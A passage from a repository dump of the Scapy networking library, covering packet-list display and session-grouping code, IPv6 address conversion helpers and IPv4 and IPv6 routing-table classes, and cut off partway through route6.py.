noqa: E501\n        for i, res in enumerate(self.res):\n            p = self._elt2pkt(res)\n            if lfilter is not None and not lfilter(p):\n                continue\n            print(\"%s %s %s\" % (conf.color_theme.id(i, fmt=\"%04i\"),\n                                p.sprintf(\"%.time%\"),\n                                self._elt2sum(res)))\n            hexdump(p)\n\n    def padding(self, lfilter=None):\n        # type: (Optional[Callable[..., bool]]) -> None\n        \"\"\"Same as hexraw(), for Padding layer\"\"\"\n        for i, res in enumerate(self.res):\n            p = self._elt2pkt(res)\n            if p.haslayer(conf.padding_layer):\n                if lfilter is None or lfilter(p):\n                    print(\"%s %s %s\" % (conf.color_theme.id(i, fmt=\"%04i\"),\n                                        p.sprintf(\"%.time%\"),\n                                        self._elt2sum(res)))\n                    hexdump(\n                        p.getlayer(conf.padding_layer).load  # type: ignore\n                    )\n\n    def nzpadding(self, lfilter=None):\n        # type: (Optional[Callable[..., bool]]) -> None\n        \"\"\"Same as padding() but only non null padding\"\"\"\n        for i, res in enumerate(self.res):\n            p = self._elt2pkt(res)\n            if p.haslayer(conf.padding_layer):\n                pad = p.getlayer(conf.padding_layer).load  # type: ignore\n                if pad == pad[:1] * len(pad):\n                    continue\n                if lfilter is None or lfilter(p):\n                    print(\"%s %s %s\" % (conf.color_theme.id(i, fmt=\"%04i\"),\n                                        p.sprintf(\"%.time%\"),\n                                        self._elt2sum(res)))\n                    hexdump(\n                        p.getlayer(conf.padding_layer).load  # type: ignore\n                    )\n\n    def conversations(self,\n                      getsrcdst=None,  # type: Optional[Callable[[Packet], Tuple[Any, ...]]]  # noqa: E501\n                      **kargs  # type: Any\n                      ):\n        # type: (...) -> Any\n        \"\"\"Graphes a conversations between sources and destinations and display it\n        (using graphviz and imagemagick)\n\n        :param getsrcdst: a function that takes an element of the list and\n            returns the source, the destination and optionally\n            a label. By default, returns the IP source and\n            destination from IP and ARP layers\n        :param type: output type (svg, ps, gif, jpg, etc.), passed to dot's\n            \"-T\" option\n        :param target: filename or redirect. Defaults pipe to Imagemagick's\n            display program\n        :param prog: which graphviz program to use\n        \"\"\"\n        if getsrcdst is None:\n            def _getsrcdst(pkt):\n                # type: (Packet) -> Tuple[str, str]\n                \"\"\"Extract src and dst addresses\"\"\"\n                if 'IP' in pkt:\n                    return (pkt['IP'].src, pkt['IP'].dst)\n                if 'IPv6' in pkt:\n                    return (pkt['IPv6'].src, pkt['IPv6'].dst)\n                if 'ARP' in pkt:\n                    return (pkt['ARP'].psrc, pkt['ARP'].pdst)\n                raise TypeError()\n            getsrcdst = _getsrcdst\n        conv = {}  # type: Dict[Tuple[Any, ...], Any]\n        for elt in self.res:\n            p = self._elt2pkt(elt)\n            try:\n                c = getsrcdst(p)\n            except Exception:\n                # No warning here: it's OK that getsrcdst() raises an\n                # exception, since it might be, for example, a\n                # function that expects a specific layer in each\n                # packet. The try/except approach is faster and\n                # considered more Pythonic than adding tests.\n                continue\n            if len(c) == 3:\n                conv.setdefault(c[:2], set()).add(c[2])\n            else:\n                conv[c] = conv.get(c, 0) + 1\n        gr = 'digraph \"conv\" {\\n'\n        for (s, d), l in conv.items():\n            gr += '\\t \"%s\" -> \"%s\" [label=\"%s\"]\\n' % (\n                s, d, ', '.join(str(x) for x in l) if isinstance(l, set) else l\n            )\n        gr += \"}\\n\"\n        return do_graph(gr, **kargs)\n\n    def afterglow(self,\n                  src=None,  # type: Optional[Callable[[_Inner], Any]]\n                  event=None,  # type: Optional[Callable[[_Inner], Any]]\n                  dst=None,  # type: Optional[Callable[[_Inner], Any]]\n                  **kargs  # type: Any\n                  ):\n        # type: (...) -> Any\n        \"\"\"Experimental clone attempt of http://sourceforge.net/projects/afterglow\n        each datum is reduced as src -> event -> dst and the data are graphed.\n        by default we have IP.src -> IP.dport -> IP.dst\"\"\"\n        if src is None:\n            src = lambda *x: x[0]['IP'].src\n        if event is None:\n            event = lambda *x: x[0]['IP'].dport\n        if dst is None:\n            dst = lambda *x: x[0]['IP'].dst\n        sl = {}  # type: Dict[Any, Tuple[Union[float, int], List[Any]]]\n        el = {}  # type: Dict[Any, Tuple[Union[float, int], List[Any]]]\n        dl = {}  # type: Dict[Any, int]\n        for i in self.res:\n            try:\n                s, e, d = src(i), event(i), dst(i)\n                if s in sl:\n                    n, lst = sl[s]\n                    n += 1\n                    if e not in lst:\n                        lst.append(e)\n                    sl[s] = (n, lst)\n                else:\n                    sl[s] = (1, [e])\n                if e in el:\n                    n, lst = el[e]\n                    n += 1\n                    if d not in lst:\n                        lst.append(d)\n                    el[e] = (n, lst)\n                else:\n                    el[e] = (1, [d])\n                dl[d] = dl.get(d, 0) + 1\n            except Exception:\n                continue\n\n        def minmax(x):\n            # type: (Any) -> Tuple[int, int]\n            m, M = reduce(lambda a, b: (min(a[0], b[0]), max(a[1], b[1])),\n                          ((a, a) for a in x))\n            if m == M:\n                m = 0\n            if M == 0:\n                M = 1\n            return m, M\n\n        mins, maxs = minmax(x for x, _ in sl.values())\n        mine, maxe = minmax(x for x, _ in el.values())\n        mind, maxd = minmax(dl.values())\n\n        gr = 'digraph \"afterglow\" {\\n\\tedge [len=2.5];\\n'\n\n        gr += \"# src nodes\\n\"\n        for s in sl:\n            n, _ = sl[s]\n            n = 1 + float(n - mins) / (maxs - mins)\n            gr += '\"src.%s\" [label = \"%s\", shape=box, fillcolor=\"#FF0000\", style=filled, fixedsize=1, height=%.2f,width=%.2f];\\n' % (repr(s), repr(s), n, n)  # noqa: E501\n        gr += \"# event nodes\\n\"\n        for e in el:\n            n, _ = el[e]\n            n = 1 + float(n - mine) / (maxe - mine)\n            gr += '\"evt.%s\" [label = \"%s\", shape=circle, fillcolor=\"#00FFFF\", style=filled, fixedsize=1, height=%.2f, width=%.2f];\\n' % (repr(e), repr(e), n, n)  # noqa: E501\n        for d in dl:\n            n = dl[d]\n            n = 1 + float(n - mind) / (maxd - mind)\n            gr += '\"dst.%s\" [label = \"%s\", shape=triangle, fillcolor=\"#0000ff\", style=filled, fixedsize=1, height=%.2f, width=%.2f];\\n' % (repr(d), repr(d), n, n)  # noqa: E501\n\n        gr += \"###\\n\"\n        for s in sl:\n            n, lst1 = sl[s]\n            for e in lst1:\n                gr += ' \"src.%s\" -> \"evt.%s\";\\n' % (repr(s), repr(e))\n        for e in el:\n            n, lst2 = el[e]\n            for d in lst2:\n                gr += ' \"evt.%s\" -> \"dst.%s\";\\n' % (repr(e), repr(d))\n\n        gr += \"}\"\n        return do_graph(gr, **kargs)\n\n    def canvas_dump(self, layer_shift=0, rebuild=1):\n        # type: (int, int) -> 'pyx.canvas.canvas'\n        d = pyx.document.document()\n        len_res = len(self.res)\n        for i, res in enumerate(self.res):\n            c = self._elt2pkt(res).canvas_dump(layer_shift=layer_shift,\n                                               rebuild=rebuild)\n            cbb = c.bbox()\n            c.text(cbb.left(), cbb.top() + 1, r\"\\font\\cmssfont=cmss12\\cmssfont{Frame %i/%i}\" % (i, len_res), [pyx.text.size.LARGE])  # noqa: E501\n            if conf.verb >= 2:\n                os.write(1, b\".\")\n            d.append(pyx.document.page(c, paperformat=pyx.document.paperformat.A4,  # noqa: E501\n                                       margin=1 * pyx.unit.t_cm,\n                                       fittosize=1))\n        return d\n\n    def sessions(\n            self,\n            session_extractor=None  # type: Optional[Callable[[Packet], str]]\n    ):\n        # type: (...) -> Dict[str, _PacketList[_Inner]]\n        if session_extractor is None:\n            def _session_extractor(p):\n                # type: (Packet) -> str\n                \"\"\"Extract sessions from packets\"\"\"\n                if 'Ether' in p:\n                    if 'IP' in p or 'IPv6' in p:\n                        ip_src_fmt = \"{IP:%IP.src%}{IPv6:%IPv6.src%}\"\n                        ip_dst_fmt = \"{IP:%IP.dst%}{IPv6:%IPv6.dst%}\"\n                        addr_fmt = (ip_src_fmt, ip_dst_fmt)\n                        if 'TCP' in p:\n                            fmt = \"TCP {}:%r,TCP.sport% > {}:%r,TCP.dport%\"\n                        elif 'UDP' in p:\n                            fmt = \"UDP {}:%r,UDP.sport% > {}:%r,UDP.dport%\"\n                        elif 'ICMP' in p:\n                            fmt = \"ICMP {} > {} type=%r,ICMP.type% code=%r,\" \\\n                                  \"ICMP.code% id=%ICMP.id%\"\n                        elif 'ICMPv6' in p:\n                            fmt = \"ICMPv6 {} > {} type=%r,ICMPv6.type% \" \\\n                                  \"code=%r,ICMPv6.code%\"\n                        elif 'IPv6' in p:\n                            fmt = \"IPv6 {} > {} nh=%IPv6.nh%\"\n                        else:\n                            fmt = \"IP {} > {} proto=%IP.proto%\"\n                        return p.sprintf(fmt.format(*addr_fmt))\n                    elif 'ARP' in p:\n                        return p.sprintf(\"ARP %ARP.psrc% > %ARP.pdst%\")\n                    else:\n                        return p.sprintf(\"Ethernet type=%04xr,Ether.type%\")\n                return \"Other\"\n            session_extractor = _session_extractor\n        sessions = defaultdict(self.__class__)  # type: DefaultDict[str, _PacketList[_Inner]]  # noqa: E501\n        for p in self.res:\n            sess = session_extractor(\n                self._elt2pkt(p)\n            )\n            sessions[sess].append(p)\n        return dict(sessions)\n\n    def replace(self, *args, **kargs):\n        # type: (Any, Any) -> PacketList\n        \"\"\"\n        lst.replace(<field>,[<oldvalue>,]<newvalue>)\n        lst.replace( (fld,[ov],nv),(fld,[ov,]nv),...)\n          if ov is None, all values are replaced\n        ex:\n          lst.replace( IP.src, \"192.168.1.1\", \"10.0.0.1\" )\n          lst.replace( IP.ttl, 64 )\n          lst.replace( (IP.ttl, 64), (TCP.sport, 666, 777), )\n        \"\"\"\n        delete_checksums = kargs.get(\"delete_checksums\", False)\n        x = PacketList(name=\"Replaced %s\" % self.listname)\n        if not isinstance(args[0], tuple):\n            args = (args,)\n        for _p in self.res:\n            p = self._elt2pkt(_p)\n            copied = False\n            for scheme in args:\n                fld = scheme[0]\n                old = scheme[1]  # not used if len(scheme) == 2\n                new = scheme[-1]\n                for o in fld.owners:\n                    if o in p:\n                        if len(scheme) == 2 or p[o].getfieldval(fld.name) == old:  # noqa: E501\n                            if not copied:\n                                p = p.copy()\n                                if delete_checksums:\n                                    p.delete_checksums()\n                                copied = True\n                            setattr(p[o], fld.name, new)\n            x.append(p)\n        return x\n\n    def getlayer(self, cls,  # type: Packet\n                 nb=None,  # type: Optional[int]\n                 flt=None,  # type: Optional[Dict[str, Any]]\n                 name=None,  # type: Optional[str]\n                 stats=None  # type: Optional[List[Type[Packet]]]\n                 ):\n        # type: (...) -> PacketList\n        \"\"\"Returns the packet list from a given layer.\n\n        See ``Packet.getlayer`` for more info.\n\n        :param cls: search for a layer that is an instance of ``cls``\n        :type cls: Type[scapy.packet.Packet]\n\n        :param nb: return the nb^th layer that is an instance of ``cls``\n        :type nb: Optional[int]\n\n        :param flt: filter parameters for ``Packet.getlayer``\n        :type flt: Optional[Dict[str, Any]]\n\n        :param name: optional name for the new PacketList\n        :type name: Optional[str]\n\n        :param stats: optional list of protocols to give stats on; if not\n                      specified, inherits from this PacketList.\n        :type stats: Optional[List[Type[scapy.packet.Packet]]]\n        :rtype: scapy.plist.PacketList\n        \"\"\"\n        if name is None:\n            name = \"{} layer {}\".format(self.listname, cls.__name__)\n        if stats is None:\n            stats = self.stats\n\n        getlayer_arg = {}  # type: Dict[str, Any]\n        if flt is not None:\n            getlayer_arg.update(flt)\n        getlayer_arg['cls'] = cls\n        if nb is not None:\n            getlayer_arg['nb'] = nb\n\n        # Only return non-None getlayer results\n        return PacketList([\n            pc for pc in (\n                self._elt2pkt(p).getlayer(**getlayer_arg) for p in self.res\n            ) if pc is not None],\n            name, stats\n        )\n\n\nclass PacketList(_PacketList[Packet],\n                 BasePacketList[Packet],\n                 _CanvasDumpExtended):\n    def sr(self, multi=False, lookahead=None):\n        # type: (bool, Optional[int]) -> Tuple[SndRcvList, PacketList]\n        \"\"\"\n        Matches packets in the list\n\n        :param multi: True if a packet can have multiple answers\n        :param lookahead: Maximum number of packets between packet and answer.\n                          If 0 or None, full remaining list is\n                          scanned for answers\n        :return: ( (matched couples), (unmatched packets) )\n        \"\"\"\n        remain = self.res[:]\n        sr = []  # type: List[QueryAnswer]\n        i = 0\n        if lookahead is None or lookahead == 0:\n            lookahead = len(remain)\n        while i < len(remain):\n            s = remain[i]\n            j = i\n            while j < min(lookahead + i, len(remain) - 1):\n                j += 1\n                r = remain[j]\n                if r.answers(s):\n                    sr.append(QueryAnswer(s, r))\n                    if multi:\n                        remain[i]._answered = 1\n                        remain[j]._answered = 2\n                        continue\n                    del remain[j]\n                    del remain[i]\n                    i -= 1\n                    break\n            i += 1\n        if multi:\n            remain = [x for x in remain if not hasattr(x, \"_answered\")]\n        return SndRcvList(sr), PacketList(remain)\n\n\n_PacketIterable = Union[\n    Sequence[Packet],\n    Packet,\n    SetGen[Packet],\n    _PacketList[Packet]\n]\n\n\nclass SndRcvList(_PacketList[QueryAnswer],\n                 BasePacketList[QueryAnswer],\n                 _CanvasDumpExtended):\n    __slots__ = []  # type: List[str]\n\n    def __init__(self,\n                 res=None,  # type: Optional[Union[_PacketList[QueryAnswer], List[QueryAnswer]]]  # noqa: E501\n                 name=\"Results\",  # type: str\n                 stats=None  # type: Optional[List[Type[Packet]]]\n                 ):\n        # type: (...) -> None\n        super(SndRcvList, self).__init__(res, name, stats)\n\n    def _elt2pkt(self, elt):\n        # type: (QueryAnswer) -> Packet\n        return elt[1]\n\n    def _elt2sum(self, elt):\n        # type: (QueryAnswer) -> str\n        return \"%s ==> %s\" % (elt[0].summary(), elt[1].summary())\n"
  },
  {
    "path": "scapy/pton_ntop.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nConvert IPv6 addresses between textual representation and binary.\n\nThese functions are missing when python is compiled\nwithout IPv6 support, on Windows for instance.\n\"\"\"\n\nimport socket\nimport re\nimport binascii\nfrom scapy.compat import plain_str, hex_bytes, bytes_encode, bytes_hex\n\n# Typing imports\nfrom typing import Union\n\n_IP6_ZEROS = re.compile('(?::|^)(0(?::0)+)(?::|$)')\n_INET6_PTON_EXC = socket.error(\"illegal IP address string passed to inet_pton\")\n\n\ndef _inet6_pton(addr):\n    # type: (str) -> bytes\n    \"\"\"Convert an IPv6 address from text representation into binary form,\nused when socket.inet_pton is not available.\n\n    \"\"\"\n    joker_pos = None\n    result = b\"\"\n    addr = plain_str(addr)\n    if addr == '::':\n        return b'\\x00' * 16\n    if addr.startswith('::'):\n        addr = addr[1:]\n    if addr.endswith('::'):\n        addr = addr[:-1]\n    parts = addr.split(\":\")\n    nparts = len(parts)\n    for i, part in enumerate(parts):\n        if not part:\n            # \"::\" indicates one or more groups of 2 null bytes\n            if joker_pos is None:\n                joker_pos = len(result)\n            else:\n                # Wildcard is only allowed once\n                raise _INET6_PTON_EXC\n        elif i + 1 == nparts and '.' in part:\n            # The last part of an IPv6 address can be an IPv4 address\n            if part.count('.') != 3:\n                # we have to do this since socket.inet_aton('1.2') ==\n                # b'\\x01\\x00\\x00\\x02'\n                raise _INET6_PTON_EXC\n            try:\n                result += socket.inet_aton(part)\n            except socket.error:\n                raise _INET6_PTON_EXC\n        else:\n            # Each part must be 16bit. Add missing zeroes before decoding.\n            try:\n                result += hex_bytes(part.rjust(4, \"0\"))\n            except (binascii.Error, TypeError):\n                raise _INET6_PTON_EXC\n    # If there's a wildcard, fill up with zeros to reach 128bit (16 bytes)\n    if joker_pos is not None:\n        if len(result) == 16:\n            raise _INET6_PTON_EXC\n        result = (result[:joker_pos] + b\"\\x00\" * (16 - len(result)) +\n                  result[joker_pos:])\n    if len(result) != 16:\n        raise _INET6_PTON_EXC\n    return result\n\n\n_INET_PTON = {\n    socket.AF_INET: socket.inet_aton,\n    socket.AF_INET6: _inet6_pton,\n}\n\n\ndef inet_pton(af, addr):\n    # type: (socket.AddressFamily, Union[bytes, str]) -> bytes\n    \"\"\"Convert an IP address from text representation into binary form.\"\"\"\n    # Will replace Net/Net6 objects\n    addr = plain_str(addr)\n    # Use inet_pton if available\n    try:\n        if not socket.has_ipv6:\n            raise AttributeError\n        return socket.inet_pton(af, addr)\n    except AttributeError:\n        try:\n            return _INET_PTON[af](addr)\n        except KeyError:\n            raise socket.error(\"Address family not supported by protocol\")\n\n\ndef _inet6_ntop(addr):\n    # type: (bytes) -> str\n    \"\"\"Convert an IPv6 address from binary form into text representation,\nused when socket.inet_pton is not available.\n\n    \"\"\"\n    # IPv6 addresses have 128bits (16 bytes)\n    if len(addr) != 16:\n        raise ValueError(\"invalid length of packed IP address string\")\n\n    # Decode to hex representation\n    address = \":\".join(plain_str(bytes_hex(addr[idx:idx + 2])).lstrip('0') or '0'  # noqa: E501\n                       for idx in range(0, 16, 2))\n\n    try:\n        # Get the longest set of zero blocks. We need to take a look\n        # at group 1 regarding the length, as 0:0:1:0:0:2:3:4 would\n        # have two matches: 0:0: and :0:0: where the latter is longer,\n        # though the first one should be taken. Group 1 is in both\n        # cases 0:0.\n        match = max(_IP6_ZEROS.finditer(address),\n                    key=lambda m: m.end(1) - m.start(1))\n        return '{}::{}'.format(address[:match.start()], address[match.end():])\n    except ValueError:\n        return address\n\n\n_INET_NTOP = {\n    socket.AF_INET: socket.inet_ntoa,\n    socket.AF_INET6: _inet6_ntop,\n}\n\n\ndef inet_ntop(af, addr):\n    # type: (socket.AddressFamily, bytes) -> str\n    \"\"\"Convert an IP address from binary form into text representation.\"\"\"\n    # Use inet_ntop if available\n    addr = bytes_encode(addr)\n    try:\n        if not socket.has_ipv6:\n            raise AttributeError\n        return socket.inet_ntop(af, addr)\n    except AttributeError:\n        try:\n            return _INET_NTOP[af](addr)\n        except KeyError:\n            raise ValueError(\"unknown address family %d\" % af)\n"
  },
  {
    "path": "scapy/py.typed",
    "content": ""
  },
  {
    "path": "scapy/route.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nRouting and handling of network interfaces.\n\"\"\"\n\n\nfrom scapy.compat import plain_str\nfrom scapy.config import conf\nfrom scapy.error import Scapy_Exception, warning\nfrom scapy.interfaces import resolve_iface\nfrom scapy.utils import atol, ltoa, itom, pretty_list\n\nfrom typing import (\n    Any,\n    Dict,\n    List,\n    Optional,\n    Tuple,\n    Union,\n)\n\n\n##############################\n#  Routing/Interfaces stuff  #\n##############################\n\nclass Route:\n    def __init__(self):\n        # type: () -> None\n        self.routes = []  # type: List[Tuple[int, int, str, str, str, int]]\n        self.invalidate_cache()\n        if conf.route_autoload:\n            self.resync()\n\n    def invalidate_cache(self):\n        # type: () -> None\n        self.cache = {}  # type: Dict[Tuple[str, Optional[str]], Tuple[str, str, str]]\n\n    def resync(self):\n        # type: () -> None\n        from scapy.arch import read_routes\n        self.invalidate_cache()\n        self.routes = read_routes()\n\n    def __repr__(self):\n        # type: () -> str\n        rtlst = []  # type: List[Tuple[Union[str, List[str]], ...]]\n        for net, msk, gw, iface, addr, metric in self.routes:\n            if_repr = resolve_iface(iface).description\n            rtlst.append((ltoa(net),\n                          ltoa(msk),\n                          gw,\n                          if_repr,\n                          addr,\n                          str(metric)))\n\n        return pretty_list(rtlst,\n                           [(\"Network\", \"Netmask\", \"Gateway\", \"Iface\", \"Output IP\", \"Metric\")])  # noqa: E501\n\n    def make_route(self,\n                   host=None,  # type: Optional[str]\n                   net=None,  # type: Optional[str]\n                   gw=None,  # type: Optional[str]\n                   dev=None,  # type: Optional[str]\n                   metric=1,  # type: int\n                   ):\n        # type: (...) -> Tuple[int, int, str, str, str, int]\n        if host is not None:\n            thenet, msk = host, 32\n        elif net is not None:\n            thenet, msk_b = net.split(\"/\")\n            msk = int(msk_b)\n        else:\n            raise Scapy_Exception(\"make_route: Incorrect parameters. You should specify a host or a net\")  # noqa: E501\n        if gw is None:\n            gw = \"0.0.0.0\"\n        if dev is None:\n            if gw:\n                nhop = gw\n            else:\n                nhop = thenet\n            dev, ifaddr, _ = self.route(nhop)\n        else:\n            ifaddr = \"0.0.0.0\"  # acts as a 'via' in `ip addr add`\n        return (atol(thenet), itom(msk), gw, dev, ifaddr, metric)\n\n    def add(self, *args, **kargs):\n        # type: (*Any, **Any) -> None\n        \"\"\"Add a route to Scapy's IPv4 routing table.\n        add(host|net, gw|dev)\n\n        :param host: single IP to consider (/32)\n        :param net: range to consider\n        :param gw: gateway\n        :param dev: force the interface to use\n        :param metric: route metric\n\n        Examples:\n\n        - `ip route add 192.168.1.0/24 via 192.168.0.254`::\n            >>> conf.route.add(net=\"192.168.1.0/24\", gw=\"192.168.0.254\")\n\n        - `ip route add 192.168.1.0/24 dev eth0`::\n            >>> conf.route.add(net=\"192.168.1.0/24\", dev=\"eth0\")\n\n        - `ip route add 192.168.1.0/24 via 192.168.0.254 metric 1`::\n            >>> conf.route.add(net=\"192.168.1.0/24\", gw=\"192.168.0.254\", metric=1)\n        \"\"\"\n        self.invalidate_cache()\n        self.routes.append(self.make_route(*args, **kargs))\n\n    def delt(self, *args, **kargs):\n        # type: (*Any, **Any) -> None\n        \"\"\"Remove a route from Scapy's IPv4 routing table.\n        delt(host|net, gw|dev)\n\n        Same syntax as add()\n        \"\"\"\n        self.invalidate_cache()\n        route = self.make_route(*args, **kargs)\n        try:\n            i = self.routes.index(route)\n            del self.routes[i]\n        except ValueError:\n            raise ValueError(\"No matching route found!\")\n\n    def ifchange(self, iff, addr):\n        # type: (str, str) -> None\n        self.invalidate_cache()\n        the_addr, the_msk_b = (addr.split(\"/\") + [\"32\"])[:2]\n        the_msk = itom(int(the_msk_b))\n        the_rawaddr = atol(the_addr)\n        the_net = the_rawaddr & the_msk\n\n        for i, route in enumerate(self.routes):\n            net, msk, gw, iface, addr, metric = route\n            if iff != iface:\n                continue\n            if gw == '0.0.0.0':\n                self.routes[i] = (the_net, the_msk, gw, iface, the_addr, metric)  # noqa: E501\n            else:\n                self.routes[i] = (net, msk, gw, iface, the_addr, metric)\n        conf.netcache.flush()\n\n    def ifdel(self, iff):\n        # type: (str) -> None\n        self.invalidate_cache()\n        new_routes = []\n        for rt in self.routes:\n            if iff == rt[3]:\n                continue\n            new_routes.append(rt)\n        self.routes = new_routes\n\n    def ifadd(self, iff, addr):\n        # type: (str, str) -> None\n        self.invalidate_cache()\n        the_addr, the_msk_b = (addr.split(\"/\") + [\"32\"])[:2]\n        the_msk = itom(int(the_msk_b))\n        the_rawaddr = atol(the_addr)\n        the_net = the_rawaddr & the_msk\n        self.routes.append((the_net, the_msk, '0.0.0.0', iff, the_addr, 1))\n\n    def route(self, dst=None, dev=None, verbose=conf.verb, _internal=False):\n        # type: (Optional[str], Optional[str], int, bool) -> Tuple[str, str, str]\n        \"\"\"Returns the IPv4 routes to a host.\n\n        :param dst: the IPv4 of the destination host\n        :param dev: (optional) filtering is performed to limit search to route\n                    associated to that interface.\n\n        :returns: tuple (iface, output_ip, gateway_ip) where\n            - ``iface``: the interface used to connect to the host\n            - ``output_ip``: the outgoing IP that will be used\n            - ``gateway_ip``: the gateway IP that will be used\n        \"\"\"\n        dst = dst or \"0.0.0.0\"  # Enable route(None) to return default route\n        if isinstance(dst, bytes):\n            try:\n                dst = plain_str(dst)\n            except UnicodeDecodeError:\n                raise TypeError(\"Unknown IP address input (bytes)\")\n        if (dst, dev) in self.cache:\n            return self.cache[(dst, dev)]\n        # Transform \"192.168.*.1-5\" to one IP of the set\n        _dst = dst.split(\"/\")[0].replace(\"*\", \"0\")\n        while True:\n            idx = _dst.find(\"-\")\n            if idx < 0:\n                break\n            m = (_dst[idx:] + \".\").find(\".\")\n            _dst = _dst[:idx] + _dst[idx + m:]\n\n        atol_dst = atol(_dst)\n        paths = []\n        for d, m, gw, i, a, me in self.routes:\n            if not a:  # some interfaces may not currently be connected\n                continue\n            if dev is not None and i != dev:\n                continue\n            aa = atol(a)\n            if aa == atol_dst and aa != 0:\n                paths.append(\n                    (0xffffffff, 1, (conf.loopback_name, a, \"0.0.0.0\"))  # noqa: E501\n                )\n            if (atol_dst & m) == (d & m):\n                paths.append((m, me, (i, a, gw)))\n\n        if not paths:\n            if verbose:\n                warning(\"No route found for IPv4 destination %s \"\n                        \"(no default route?)\", dst)\n            return (dev or conf.loopback_name, \"0.0.0.0\", \"0.0.0.0\")\n        # Choose the more specific route\n        # Sort by greatest netmask and use metrics as a tie-breaker\n        paths.sort(key=lambda x: (-x[0], x[1]))\n        # Return interface\n        ret = paths[0][2]\n        # Check if source is 0.0.0.0. This is a 'via' route with no src.\n        if ret[1] == \"0.0.0.0\" and not _internal:\n            # Then get the source from route(gw)\n            ret = (ret[0], self.route(ret[2], _internal=True)[1], ret[2])\n        self.cache[(dst, dev)] = ret\n        return ret\n\n    def get_if_bcast(self, iff):\n        # type: (str) -> List[str]\n        \"\"\"\n        Return the list of broadcast addresses of an interface.\n        \"\"\"\n        bcast_list = []\n        for net, msk, _, iface, _, _ in self.routes:\n            if net == 0:\n                continue    # Ignore default route \"0.0.0.0\"\n            elif msk == 0xffffffff:\n                continue    # Ignore host-specific routes\n            if iff != iface:\n                continue\n            bcast = net | (~msk & 0xffffffff)\n            bcast_list.append(ltoa(bcast))\n        if not bcast_list:\n            warning(\"No broadcast address found for iface %s\\n\", iff)\n        return bcast_list\n\n\nconf.route = Route()\n\n# Update conf.iface\nconf.ifaces.load_confiface()\n"
  },
  {
    "path": "scapy/route6.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) 2005  Guillaume Valadon <guedou@hongo.wide.ad.jp>\n#                     Arnaud Ebalard <arnaud.ebalard@eads.net>\n\n\"\"\"\nRouting and network interface handling for IPv6.\n\"\"\"\n\n#############################################################################\n#                        Routing/Interfaces stuff                           #\n#############################################################################\n\nimport socket\nfrom scapy.config import conf\nfrom scapy.interfaces import resolve_iface, NetworkInterface\nfrom scapy.utils6 import in6_ptop, in6_cidr2mask, in6_and, \\\n    in6_islladdr, in6_ismlladdr, in6_isincluded, in6_isgladdr, \\\n    in6_isaddr6to4, in6_ismaddr, construct_source_candidate_set, \\\n    get_source_addr_from_candidate_set\nfrom scapy.arch import read_routes6, in6_getifaddr\nfrom scapy.pton_ntop import inet_pton, inet_ntop\nfrom scapy.error import warning, log_loading\nfrom scapy.utils import pretty_list\n\nfrom typing import (\n    Any,\n    Dict,\n    List,\n    Optional,\n    Set,\n    Tuple,\n    Union,\n)\n\n\nclass Route6:\n\n    def __init__(self):\n        # type: () -> None\n        self.routes = []  # type: List[Tuple[str, int, str, str, List[str], int]]  # noqa: E501\n        self.ipv6_ifaces = set()  # type: Set[Union[str, NetworkInterface]]\n        self.invalidate_cache()\n        if conf.route6_autoload:\n            self.resync()\n\n    def invalidate_cache(self):\n        # type: () -> None\n        self.cache = {}  # type: Dict[str, Tuple[str, str, str]]\n\n    def flush(self):\n        # type: () -> None\n        self.invalidate_cache()\n        self.routes.clear()\n        self.ipv6_ifaces.clear()\n\n    def resync(self):\n        # type: () -> None\n        # TODO : At the moment, resync will drop existing Teredo routes\n        #        if any. Change that ...\n        self.invalidate_cache()\n        self.routes = read_routes6()\n        self.ipv6_ifaces = set()\n        for route in self.routes:\n            self.ipv6_ifaces.add(route[3])\n        if self.routes == []:\n            log_loading.info(\"No IPv6 support in kernel\")\n\n    def __repr__(self):\n        # type: () -> str\n        rtlst = []  # type: List[Tuple[Union[str, List[str]], ...]]\n\n        for net, msk, gw, iface, cset, metric in self.routes:\n            if_repr = resolve_iface(iface).description\n            rtlst.append(('%s/%i' % (net, msk),\n                          gw,\n                          if_repr,\n                          cset,\n                          str(metric)))\n\n        return pretty_list(rtlst,\n                           [('Destination', 'Next Hop', \"Iface\", \"Src candidates\", \"Metric\")],  # noqa: E501\n                           sortBy=1)\n\n    # Unlike Scapy's Route.make_route() function, we do not have 'host' and 'net'  # noqa: E501\n    # parameters. We only have a 'dst' parameter that accepts 'prefix' and\n    # 'prefix/prefixlen' values.\n    def make_route(self,\n                   dst,  # type: str\n                   gw=None,  # type: Optional[str]\n                   dev=None,  # type: Optional[str]\n                   ):\n        # type: (...) -> Tuple[str, int, str, str, List[str], int]\n        \"\"\"Internal function : create a route for 'dst' via 'gw'.\n        \"\"\"\n        prefix, plen_b = (dst.split(\"/\") + [\"128\"])[:2]\n        plen = int(plen_b)\n\n        if gw is None:\n            gw = \"::\"\n        if dev is None:\n            dev, ifaddr_uniq, x = self.route(gw)\n            ifaddr = [ifaddr_uniq]\n        else:\n            lifaddr = in6_getifaddr()\n            devaddrs = (x for x in lifaddr if x[2] == dev)\n            ifaddr = construct_source_candidate_set(prefix, plen, devaddrs)\n\n        self.ipv6_ifaces.add(dev)\n\n        return (prefix, plen, gw, dev, ifaddr, 1)\n\n    def add(self, *args, **kargs):\n        # type: (*Any, **Any) -> None\n        \"\"\"Ex:\n        add(dst=\"2001:db8:cafe:f000::/56\")\n        add(dst=\"2001:db8:cafe:f000::/56\", gw=\"2001:db8:cafe::1\")\n        add(dst=\"2001:db8:cafe:f000::/64\", gw=\"2001:db8:cafe::1\", dev=\"eth0\")\n        \"\"\"\n        self.invalidate_cache()\n        self.routes.append(self.make_route(*args, **kargs))\n\n    def remove_ipv6_iface(self, iface):\n        # type: (str) -> None\n        \"\"\"\n        Remove the network interface 'iface' from the list of interfaces\n        supporting IPv6.\n        \"\"\"\n\n        if not all(r[3] == iface for r in conf.route6.routes):\n            try:\n                self.ipv6_ifaces.remove(iface)\n            except KeyError:\n                pass\n\n    def delt(self, dst, gw=None):\n        # type: (str, Optional[str]) -> None\n        \"\"\" Ex:\n        delt(dst=\"::/0\")\n        